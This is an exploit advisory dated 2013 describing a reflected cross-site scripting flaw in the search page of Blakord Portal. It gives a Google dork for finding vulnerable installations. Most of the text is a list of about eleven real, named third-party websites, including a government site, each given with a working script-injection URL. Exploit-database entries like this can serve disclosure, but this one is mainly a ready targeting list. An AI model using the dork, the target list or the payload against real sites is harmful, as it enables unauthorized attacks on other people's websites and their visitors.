#********************************************************************************
# Exploit Title : Blakord Portal Cross site scripting vulnerability
#
# Software link : http://www.cdv3k.com
#
# Exploit Author : Ashiyane Digital Security Team
#
# Tested on: Windows 7 , Linux
#
# Google Dork :  intext:"Power by Blakord Portal"
#
# Date: 2013/08/28
#
--------------------------------------------------------------------
# 1- Location : [Target]/foros/search.asp?Search=[xss]
#
#
# Proof:
#
# http://asesorya.com/foros/search.asp?Search="/><script>alert(1);</script>
#
# http://www.alenhi.org/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.uniondealvarez.com.ar/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.canalcastello.com/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.portalcaniada.com.ar/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.canalcastello.com/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.el-recreo.com/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.macas.gob.ec/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.canibalesmc.somee.com/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.congreso2010en.com.ar/foros/search.asp?Search=
"/><script>alert(1);</script>
#
# http://www.alldancemusic.net//foros/search.asp?Search=
"/><script>alert(1);</script>
#
#
######################
discovered by : ACC3SS
######################